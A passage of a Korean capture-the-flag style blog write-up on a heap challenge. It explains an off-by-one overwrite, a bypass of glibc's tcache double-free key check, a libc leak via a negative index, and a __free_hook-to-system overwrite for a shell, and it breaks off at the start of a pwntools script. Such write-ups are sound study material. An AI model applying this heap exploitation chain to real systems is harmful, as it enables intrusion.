url('data:image/png;base64,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'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./15.png\"\n        title=\"./15.png\"\n        src=\"/static/88b23fa0dc0d8f5f575efb9ca5eb723f/18872/15.png\"\n        srcset=\"/static/88b23fa0dc0d8f5f575efb9ca5eb723f/e9ff0/15.png 180w,\n/static/88b23fa0dc0d8f5f575efb9ca5eb723f/f21e7/15.png 360w,\n/static/88b23fa0dc0d8f5f575efb9ca5eb723f/18872/15.png 608w\"\n        sizes=\"(max-width: 608px) 100vw, 608px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span>{: width=“50%” height=“50%“}</p>\n<p>free 조건</p>\n<ul>\n<li>내부 조건들을 수행하고 난 후에 <code class=\"language-text\">meal_ticket</code>, <code class=\"language-text\">safari_pass</code>, <code class=\"language-text\">giftshop_coupon</code> 멤버 변수들의 값이 0일 경우 free 를 수행하는 것을 확인할 수 있다.</li>\n<li>하지만 잘 생각해보면 해당 함수에서는 두 번의 free 함수가 존재하며 free를 한 후에 해당 힙 포인터들을 초기화를 하지 않기 때문에 힙 청크가 그대로 유지될 것이기 때문에 <code class=\"language-text\">Double Free</code> 취약점으로 유도할 수 있는 방법이 존재할 것이다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 474px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 56.111111111111114%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACIUlEQVQoz4WSTWrcQBCFBQnkpLlBNlk4RBfIPpus4m1OEBMIyIYYB0/M2COPPZZnRlJLGv221Prp6npBmuCMFyEPPrrq0Twoqqz5vIW7YNyucsxWHu78GF4UYSnWCNMcImogpUZVaZTlE1yWWo/17W1zXJbaKkv9whq1XrdIU0JVEfxAY+s38IMcRUkoK0LTEPqOMQwaB2IAkyFEdwzAArAP3GxqDMMYCFQSUIqQZT3yHCjLsTdQitH3BGaAmUdG6bH2/e6YmS1m3gcmyWCKojVx0Jt7tzbeqjIbvzVxIg2zMQAMwNPLzIf0Y2AQdJ+fBaaFRu3tUN2lkGGB5nSO6s1HqFROc/1PQnRfxpGl1K88T720Vo+dE51vHffr1vEuhJN9u3HiTydOkfVOXmgny4Z/8T3Lhtl8Lt/GcW8J0Vmepyzr7Cyzr68Ke3kR29dnof3rR2Jfrtm+vqltd1HbrrtnsfjLobdcNu8fHtSR56l3rlsfWXHcYTBAUROCRCGVA8KgQqv2WzWG/ywCBzzv93+AuiZYUagoud+RDCQFi4iiuU+7qKYorkmImpqGKAwlJUkzIYSkLOsozzvabkuKolrvdo0WQurdrtVWEtSsZhsOTtdcXK25ff2B25OfPK1W03QfZIiJDGtNbIzZe2SeGIa9rxSxdXnZIokV1pEHPw3hn8+wWd0jlCm2mZh4TH1EaQk1Hnlv0HVmeg8ZBoOi0PgNrqkYzWy+fUIAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./16.png\"\n        title=\"./16.png\"\n        src=\"/static/c5842db8120b7597252c2d0d926b093f/5595f/16.png\"\n        srcset=\"/static/c5842db8120b7597252c2d0d926b093f/e9ff0/16.png 180w,\n/static/c5842db8120b7597252c2d0d926b093f/f21e7/16.png 360w,\n/static/c5842db8120b7597252c2d0d926b093f/5595f/16.png 474w\"\n        sizes=\"(max-width: 474px) 100vw, 474px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>Double Free</p>\n<ul>\n<li>Double Free가 발생할려면 첫 번째로 멤버 변수들을 조작하여 조건을 만족시켜 free를 할 수 있으며 해당 방법으로 다시 하고 싶지만 이미 0으로 세팅되어 있어 다시 조건을 만족할 수 가 없다. 그렇다면 맨 첫 번째 free를 해야 하는데 어떻게 하면 해당 조건을 만족할 수 있을 까?</li>\n</ul>\n<h3 id=\"heap-메모리-해제-과정\" style=\"position:relative;\"><a href=\"#heap-%EB%A9%94%EB%AA%A8%EB%A6%AC-%ED%95%B4%EC%A0%9C-%EA%B3%BC%EC%A0%95\" aria-label=\"heap 메모리 해제 과정 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>heap 메모리 해제 과정</h3>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 92.22222222222223%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFLklEQVQ4y1WQaUzTdxzGfyR7sWyvdrwx24slvhCzLGabMpEJDgUpPf5cFd0QbxFEQQSniFyFcSjKLeA45JZjclWBQqG03C09oBcFSkuBoqDbonHY8n8WMMu2b/JJnjzPN8+Lh1AdScRHdIP4CG8Sip/YTQluwacnzsbujsWxfh6y1PW4p32EuLFypCqqcVdTjwR5GShB3CY01RNno7riwelIiua0JxHiPx1KPE4+ceDgc8Jp4XUzsx7AO6naxkqppBnJlWDwHoLi1cHn0W0wi3PBTKwBg1cBVkoVmCmVNDOxxsYqzgP1ND7GV3mJkEPXah3cgvmEeUBNOM2pfBd3Mbxcp2xBRzQ45q9BoO8U9jiqcDjtAdxPtcPJUYUDLhM4cUwLV2cZ7bRjynbwXCt8pBHh7Pz7hOz+zEDc3MY+4nir3LyzSsZPJnThGm/Cfj1djthMBX5On8Dl2HH4Vebgp5xaRMbKEJ0qw41MBa6myOiIm1I7l9cEZmZp8aEvrI5k164h4uIyyjl+fBJcrmJDqXxF0/TvtNFowOLSPJasJmzenZ4uDBlntrTZMgOLZRbLy++ynGwzfSJ4Cmz2xEtCSMf7n3zct22Ho8SJfffBaPuwHhOaZbtofBai8RkMSOcwqVvDlbZqFItFUGlW0T2oRadIA8Ggjp7UrdpzOwfglp6bxf0AnxIuV/ni7Fn1+vlz6j+O/Ciz8TtXYDY9o+UKE/T6FUxpLFixvEW0oBIuZx7h4PcKMFlyBAerwWBO0D84K20eEY3wk0ZdZlVkERIYqDwZEqI+H3ZBe9QvvUbVNq7FmFa3wZcMo1cqR4dkCOr5ZVztLYdzaCWcDvRjP7sH/qcH4MIU0Htc+22eMXXwfBoT5V+TTUggd5IQkvKet4dqv3d20VhcWwtKxGJ7kUSMYokYJUODKOwTIaglB1FPqnC/bwC5QiGyBULk9/XT+f1Cmnudj9MXZc8Yh+XVZOfOQbLPeTQgKEiFgACFXa+gAfovenF2HquWJawuLm8Nf0/QC6lxYUtbTWasLixibXGZBrBR17CEgBCRknlYFUc4uxeIn5/8w317pd+y84pGyrqlEI6a7U8kBvDF0+BLptE7YkZITRXSWgUQDpvxuE+DeoECv/VO0b2DJtvtPj72doRddI8vJYSi5MTbW0aFh2tx6oxyQyBcoa3WFVqpmsbMrAVanRGvXq6jRNkJvnoU0mElpAo19FYrBoeltGpcZ8sVdmNvw5WY7V2+hBx0niSentJtfr6qQEbSQ2WfegYv36xtaEzTmFkyQm3S4/Xb17infIxGtRAypQzymUkons9gSDVGGxfmbUUjvdhTExntWHaBEMbVZoevvh4ivoHjhNWRwK8fFW+W2FQLBhieL2BqaRZ6yxxSR2rRZhzBwpoVMqMGSosB0jk1bf3zhS1H3Inv6qKiv6wII8TfepwkRJocZDAQqimju1UyDNPcrE2j02HeZILeMI2F2XkUylohfWbA21dvoNXrYTaboZvW07DD9nBMgm9qLkVv//UsIRQ/iTAia8hOjwrCbOA9DW7NRcRI4Xq4pMAeKsq1h4sL7JcGC+3+nTz70a5U+8WBfPtmFjaQt+WH9ueucxvugNmSGMVoSiSE05FI3MOqyKHAFsJpShUxqn6BV1MivBqS4NX4L+zmFLCaU/7neTVu/iXDuzoNVHvSDaot+V0hqzrdgVWXRjhtySGsyvQydnlGHqs8o+Af2OUZBczy9C3Y//UrMgpYpZn57Nq0Uqoz3pUS3CJ/A+kjrvkmvMR+AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./17.png\"\n        title=\"./17.png\"\n        src=\"/static/bf37d7336bccfcf8702dd75bf0789a24/37523/17.png\"\n        srcset=\"/static/bf37d7336bccfcf8702dd75bf0789a24/e9ff0/17.png 180w,\n/static/bf37d7336bccfcf8702dd75bf0789a24/f21e7/17.png 360w,\n/static/bf37d7336bccfcf8702dd75bf0789a24/37523/17.png 720w,\n/static/bf37d7336bccfcf8702dd75bf0789a24/98314/17.png 817w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>heap chunk</p>\n<ul>\n<li>pass5 구조체가 동적할당이 되었을 때 해당 heap chunk 메모리 구조를 시각화 하였다.</li>\n</ul>\n<h3 id=\"해제\" style=\"position:relative;\"><a href=\"#%ED%95%B4%EC%A0%9C\" aria-label=\"해제 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>해제</h3>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 50.55555555555556%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAADDUlEQVQozx3L20/TdxyH8e/fsevdLZmYZdmWIMF2YZn8SgVmYIsumikTKu3aBeZhPSD9tUYxSwGBBBUVWM+l0LWWYk/0uLa0VFoGkmwsoNZNEzWZrAc+78VdPFevPKzVq9kXLypxKnSNfkhNQhYdhTRioLb7qlqrVwmxW9Mj9miY2K053LqoQatPjXOxYVIkxvF9fAxngkMk9vyINq+q3OIeeJ8J+DF83DFHglMLaJJa8NnQDIS9YRIqlmqfKJzgbHpJs03HxB618JB8CvXHHRCc+IU+V05DOGBHkzxEDb1LqFcaK1+ELtSxfpOPJm6XMHpzm/SzG1Cph2A8eZNM3fdqI90jOGbWSDqMg0w8f1monc5i7PYubtzaJeV0FFdlV2H89g6ZT0+B779ebgwr69jPS1a8Dobxlz+AzXgYBp0WyzIDhS+MV40KHp0WVU+HZYC1zOsa4v77eO4P0KtwhPz+BUz2XUaof4JC8hswXBosH/QN1rGf9N/ht28kyPfIEZKfRtPAHQhO/EpcV7x2qGsRnEUntYCxIy71V/b+c/uFszIUz/TSPZUUh8870X42Qi1dEbRdtFXUf3e+x4bjXkSzRQQyq3Cs5DAafYDlZJ7c0UzNvZLD167h84022QdHF7RSazpVDqRzWM4V6G5yGZbIScRinRRLtWPWrCSpIhxkhogXu4/fYHOrhExyA0GrGzszQSqs71TDa1v4cuF6d9ucnjWaLtU7s6vY/vMlvc398CFcOSvyj9y08bsHk7656ofHvT1sJOMlPH+Nf4JpejHlxPrkLN4k1ujVi2e17M42js1fkRwx8eyju32f+rbyqO6X8W9ljxKlIjLP/sDLvQrtVQnuR6vld3z17zJNzIZ8IUMrLhe8EQ+mEg6kS5sUf1Ko2YtJtDv1Es7Ms4aZi8Jb2QdIPV1H8nGRZjcDsGwFkdhdo1SpiPG0t3Jgou8g48w6Etn1OGrTUbNTj2aHDiIbTy12vsYZ9RA5BiUiK89Edq2AM+kgsvP/O2fTgrNqIbK9/XlwJl1ZZNce+A8lJRiwmR3JzwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./18.png\"\n        title=\"./18.png\"\n        src=\"/static/cfda405330795ac6e4cc794c5ddab6ce/37523/18.png\"\n        srcset=\"/static/cfda405330795ac6e4cc794c5ddab6ce/e9ff0/18.png 180w,\n/static/cfda405330795ac6e4cc794c5ddab6ce/f21e7/18.png 360w,\n/static/cfda405330795ac6e4cc794c5ddab6ce/37523/18.png 720w,\n/static/cfda405330795ac6e4cc794c5ddab6ce/302a4/18.png 1080w,\n/static/cfda405330795ac6e4cc794c5ddab6ce/07a9c/18.png 1440w,\n/static/cfda405330795ac6e4cc794c5ddab6ce/71d2f/18.png 1485w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>free1</p>\n<ul>\n<li>동적할당으로 두 개 <code class=\"language-text\">One ride ticket</code>, <code class=\"language-text\">One day ticket</code> 를 할당하여 해당 사진 처럼 힙 청크를 만든다.</li>\n<li>여기서 우리는 Double Free를 두 번째 인덱스 부분에서 진행할 것이기 때문에 <code class=\"language-text\">one ride ticket</code> 을 할당할 때 <code class=\"language-text\">lastname</code> 부분에 off-by-one 취약점을 이용하여 <code class=\"language-text\">ticket_type</code> 값을 널 바이트로 덮어 쓰게 된다면 <code class=\"language-text\">One ride ticket</code> 도 <code class=\"language-text\">use_ticket</code> 함수를 바탕으로 pass5의 구조체 멤버들을 조작할 수 있게 되기 때문이다.</li>\n<li>GLIBC 2.29 버전 이상의 버전에서는 tcache를 사용하는 힙 청크의 Double Free 검증이 존재한다. 그렇기 때문에 Double Free를 발생시켜 tcache dup 공격 기법을 할 수가 없다.</li>\n<li>ptmalloc2 에서 Double Free 검증 조건과 비슷하게 현재 해제한 포인터 즉, tcache 포인터를 <code class=\"language-text\">tcache_entry</code> 구조체의 <code class=\"language-text\">key</code> 멤버 변수에 대입을 한 후 해제를 할 경우 해당 key 값과 현재 해제하려는 포인터인지를 비교하여 같은 값이라면 <code class=\"language-text\">Double Free</code> 에러 메시지를 출력하고 비정상 종료한다.</li>\n<li>그러면 어떻게 해당 조건을 우회하여 Double Free를 발생시킬 수 있을까?</li>\n<li>우리는 아주 쉽게 우회가 가능하다. <code class=\"language-text\">key</code>의 값을 조작을 Double Free를 발생시키려 할 때 <code class=\"language-text\">key</code> 값이 다르다면은 아무 문제 없이 해제가 되어지기 때문이다.</li>\n<li>tcache double free 검증 여부의 핵심은 바로 <code class=\"language-text\">key</code> 의 값이며 key는 Backword Pointer에 위치하게 되는데 이는 pass5 구조체의 lastname 멤버 변수의 메모리 주소와 동일한 위치이다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 46.666666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAACxElEQVQozyXSW0iTcRyH8V/XXXRXN0HQTQQdoKLuIuggutzBDNMKoyAUJkE4S6dOtvfdXJJOLEvG0nTV3PEdiTprc3O1tSKdloNO1kjNZlItTd1e/9+Q7p6Lz+VD+U6e5fYYccF5lykHLSjvt6DEcUfMfXADUpfeTwRS+NUkH2jYfbLXkM2zGnHZY2FKnxllfffY6d62bN5DI+RuznRMMBJJNFbITkeZvCgKicqBvDIXSs6NiIpiP/IaOgMAkWzhHEn91XskV4RsQXEU+YURJqmzIr/0Mc6WhjMnzw/gSHtHk/JSJ9HtSIhF4jOITMyy7mgMPrUK7xubxQmNDjdNVQEQ0V4/Ryc8Dbtsr8az4ddJRCdTrGOoD2GVClP6NnGsWoPeqsogdlzdSj2meixd02LpuhZ9N+pReMENZcGweFH2BPJqc3Bn7bbtB4okh/ZzpZJhri6TruGwpNYySyOH8kIXzMetoimnC90XdYM4ULSFmt1mBB48RODRI3S4LDA4a2C214p37WrUeeuGNrk1mxXOmuOH+zUH7wvWZb/NhleGVhaq5+FVX4WjuzJjdlxDxdPaJqe5iuhWLIhE8jfeJH/BMT6BoVE94gmDOJZoxO2oNgDoKMfcQLbK6lMjtgF87Blm066XzCO48OyFAa8Txmx0shG6oKbVm9AQtccG18DAMiur7PnMWzY5P8fSqyz7408GrZGnfiLaUHTmKLVfrpCH7QIyn2fWxL/La/1fR9nXxTRLr4iZ5EIaKp+9pSv8hsgQduPtwhRGv71H74cgBr7EMDb3DrGZBHQhR4iIaKM6l/aZlLu6J0KI/5xCPPUJXQkfQtNxxOfeIZgcR0W/pa3liY9I6tB/V3j5VIGXT8kEXUomcOv9TeHhF6V2vXv9wxyvlnKd/E6pg58tELh5hcB/l3p0Kfl/Oyv38Kv5Nj0n6Wyif3BszgIYbXqdAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./19.png\"\n        title=\"./19.png\"\n        src=\"/static/1cbb92d6d3bed4f464c542295239f12f/37523/19.png\"\n        srcset=\"/static/1cbb92d6d3bed4f464c542295239f12f/e9ff0/19.png 180w,\n/static/1cbb92d6d3bed4f464c542295239f12f/f21e7/19.png 360w,\n/static/1cbb92d6d3bed4f464c542295239f12f/37523/19.png 720w,\n/static/1cbb92d6d3bed4f464c542295239f12f/302a4/19.png 1080w,\n/static/1cbb92d6d3bed4f464c542295239f12f/07a9c/19.png 1440w,\n/static/1cbb92d6d3bed4f464c542295239f12f/8c833/19.png 1609w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>Double Free Bug</p>\n<ul>\n<li><code class=\"language-text\">passes[0]</code> 는 ticket_type이 변조 되어 pass5 구조체 멤버를 조작할 수 있다고 하였다.</li>\n<li>그렇기 때문에 해당 인덱스 기준 ride_count 값을 증가 시키게 된다면 1 바이트 증가하게 되어 키 값이 변조가 될 것이다.</li>\n<li>결국 해당 키 값은 변조가 되어 Double Free가 터지게 된 모습을 확인할 수 있다</li>\n</ul>\n<h1 id=\"해결-방안\" style=\"position:relative;\"><a href=\"#%ED%95%B4%EA%B2%B0-%EB%B0%A9%EC%95%88\" aria-label=\"해결 방안 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>해결 방안</h1>\n<h2 id=\"공격\" style=\"position:relative;\"><a href=\"#%EA%B3%B5%EA%B2%A9\" aria-label=\"공격 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>공격</h2>\n<h2 id=\"공격-시나리오\" style=\"position:relative;\"><a href=\"#%EA%B3%B5%EA%B2%A9-%EC%8B%9C%EB%82%98%EB%A6%AC%EC%98%A4\" aria-label=\"공격 시나리오 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>공격 시나리오</h2>\n<ul>\n<li>라이브러리 주소를 구하기 위해 메모리 릭을 한다.\n<ul>\n<li>view_ticket의 index 변수에 -4 첨자 연산을 바탕으로 stderr 의 주소 값을 노출 시킨후 라이브러리 의 stderr 오프셋과의 계산을 통해 구한다.</li>\n</ul>\n</li>\n<li>passes를 두 장 구매한다. (One ride ticket, One day ticket)\n<ul>\n<li>One ride ticekt은 lastname을 8바이트 입력 하여 off-by-one 버그가 터지게 한다.</li>\n</ul>\n</li>\n<li>One day ticket을 사용하여 해제를 진행한다. (첫 번째 해제)</li>\n<li>One ride ticket을 사용하되 ride_count 값을 증가시켜 One day ticket의 키 값을 변조 시킨후 One day ticketd을 다시 해제하여 Double free를 발생시킨다.\n<ul>\n<li>해당 과정을 총 두 번 반복하여 공격에 필요한 청크를 생성하도록 한다.</li>\n</ul>\n</li>\n<li>Double Free로 인하여 같은 주소 값을 가리키는 tcache는 3개이며 첫 번째 할당할 경우 같은 크기로 할당을 하도록 한다.\n<ul>\n<li>첫 번째 tcache : __free_hook 주소</li>\n<li>두 번째 tcache : “/bin/sh\\x00”</li>\n<li>세 번째 tcache : “lib_system 주소</li>\n</ul>\n</li>\n<li>두 번째 할당한 청크에는 “/bin/sh\\x00” 문자열이 들어 있기 때문에 해당 값을 free(system)의 인자로 사용하여 쉘 권한을 얻도록 한다.</li>\n</ul>\n<h2 id=\"인터페이스\" style=\"position:relative;\"><a href=\"#%EC%9D%B8%ED%84%B0%ED%8E%98%EC%9D%B4%EC%8A%A4\" aria-label=\"인터페이스 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>인터페이스</h2>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\ne <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span><span class=\"token 